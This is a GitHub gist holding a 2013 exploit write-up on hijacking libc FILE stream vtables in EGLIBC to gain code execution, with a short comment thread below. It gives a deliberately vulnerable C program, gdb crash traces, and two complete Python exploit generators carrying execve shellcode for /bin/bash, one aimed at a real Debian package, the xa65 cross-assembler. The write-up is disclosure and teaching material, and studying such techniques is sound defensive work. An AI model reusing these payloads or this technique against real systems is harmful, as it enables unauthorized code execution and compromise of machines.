neuromancer / adv.txt secret
Last active

Embed URL

HTTPS clone URL

SSH clone URL

You can clone with HTTPS or SSH.

Download Gist

exploiting the f* functions (a.k.a. abusing file-streams in libc)

View adv.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200
#
# # #
### # ##
##### exploiting the f* functions
############ (a.k.a. abusing file-streams in libc)
######
## # ##
#
 
 
general information
-------------------
bug type : arbitrary code execution
 
software name : EGLIBC
 
version : 2.15 or greater
 
vendor : EGLIBC Consortium
 
vendor homepage : www.eglibc.org
 
software link : www.eglibc.org/repository
 
tested on : Debian Wheezy/Jessie/Sid, Arch Linux
 
authors : proudhon & Ubik
 
date : 2013-12-30
 
description : The C programming language provides many standard library
functions for file input and output. C abstracts all file
operations into operations on streams of bytes.
 
disclaimer
---------
all the information and code given in this document is provided "as is",
for educational purposes only. the authors will not be responsible for any
damage.
 
technical information
---------------------
Have you ever wonder how to exploit this program:
 
//fputz.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
static char out[512];
static FILE *fp;
 
int main(int argc, char **argv) {
fp = stdout;
 
strcpy(out, argv[1]);
fputs(out, fp);
 
exit(0);
}
//EOF
 
If the binary is not fortified, an overflow is available as we can see:
 
$ gdb --args ./fputz $(python -c 'print "A"*1000')
...
Program received signal SIGSEGV, Segmentation fault.
__GI__IO_fputs (str=0x804a040 'A' <repeats 200 times>..., fp=0x41414141) at
 
How we can take advantage of the internal structure of the FILE objects from
libc to execute code? Well, first, we should redirect the fp pointer to
controllable memory. The perfect candidate for this is the 'out' buffer, since
its address is constant and we can fill it with plenty of (non-NULL) bytes.
 
---------------------------
v |
[ out ] [ *fp ]
 
The second step requires us to check the FILE internals, to find out how we can
take advantage of FILE object. If we take a look to the libioP.h header, we
can find some juicy information on the internals of FILE, implemented using:
 
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
 
The vtable pointer is just what we need! This is not a new idea.
Some work was previously done on this by Kees Cook at:
 
http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
 
Our plan to execute arbitrary code is to provide a pointer to a fake vtable.
But.. where we can store this vtable? Again, The perfect candidate for this is
the 'out' buffer.
 
----------------------
v |
[ fake _IO_FILE? | *vtable ]
 
 
Obviously, this won't work if we don't define carefully the malicious
_IO_FILE_plus since the program will crash looking for pointer or enter in
deadlock. To avoid trouble, we should define the FILE flags with a value
that disables any lock operation on the FILE. Using gdb we can see that
the function _IO_flockfile is executed right before the vtable pointer is read
from memory. Such function checks the higher bit of the lower word of
the _flags field of IO_FILE. If the bit is set, then the file will not be
locked, as we can see here:
 
#define _IO_USER_LOCK 0x8000
...
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_flockfile (_fp)
 
Finally, we control the bytes of the vtable the f* functions will use, so it's
time for the code execution!. Of course, we shouldn't forget the usual
protections as PAX, that we will disable since they are not related with
this simple technique to exploit FILE objects.
The final exploit can be generated using the following python script:
 
#!/usr/bin/env python2
import sys
 
base = "\x08\x04\xa0"
offset = 0x40
 
# fp: pointer to the beginning of the buffer
ptr = (base + chr(offset))[::-1]
# vtable: pointer to the address pointing to the shell-code
ptr2 = (base + chr(offset - 0x18))[::-1]
# pointer to the beginning of the shell-code
ptr3 = (base + chr(offset + 0x08))[::-1]
# non-null byte to pad
c = "\x01"
# _IO_FILE flags to avoid deadlocks
fl = c+"\x80"
# shell-code from http://packetstormsecurity.com/files/89203/
sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"\
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80"
 
exp = fl + c * 2 + ptr3 + sc + c * (141 - len(sc)) + ptr2 + c * 359 + ptr
 
print exp,
# EOF
 
"real-life" example
-------------------
 
Inside the xa65 package in Debian Wheezy/Jessie/Sid there is a small command
line tool called xa, a cross-assembler for 65xx/R65C02/65816, that we know that
is buggy:
 
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=716483
 
so if we play a little with it:
 
$ gdb --args xa $(python -c 'print "A"*3000')
...
Couldn't open source file 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal SIGSEGV, Segmentation fault.
__GI__IO_fputs (str=0x8058440 "Couldn't open source file '", 'A'
<repeats 173 times>..., fp=0x41414141) at iofputs.c:40
 
We can follow the same technique explained before to recreate our malicious
_IO_FILE_plus and to execute code. The final exploit is presented here:
 
#!/usr/bin/env python2
import sys
 
base = "\x08\x05\x84"
offset = 0x5b
 
# fp: pointer to the beginning of the buffer
ptr = (base + chr(offset))[::-1]
# vtable: pointer to the address pointing to the shell-code
ptr2 = (base + chr(offset - 0x18))[::-1]
# pointer to the beginning of the shell-code
ptr3 = (base + chr(offset + 0x08))[::-1]
# non-null byte to pad
c = "\x01"
# _IO_FILE flags to avoid deadlocks
fl = c + "\xa0"
# shell-code from http://packetstormsecurity.com/files/89203
sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"\
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80"
exp = fl + c * 2 + ptr3 + sc + c * (141 - len(sc)) + ptr2 + c * 1880 + ptr
 
print exp,
# EOF
 
acknowledgements
----------------
 
To guille for his help looking the libc source and to the Debian developers for
their highly inconsistent policy of compilation of packages with FORTIFY_SOURCE.

good stuff

Nice work. However, I think you mean Kees Cook, not Sebastian Kramer. :)

https://gist.github.com/kees/4f3c25f7dbc48e35b90e/revisions

Owner

Fixed, thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Something went wrong with that request. Please try again.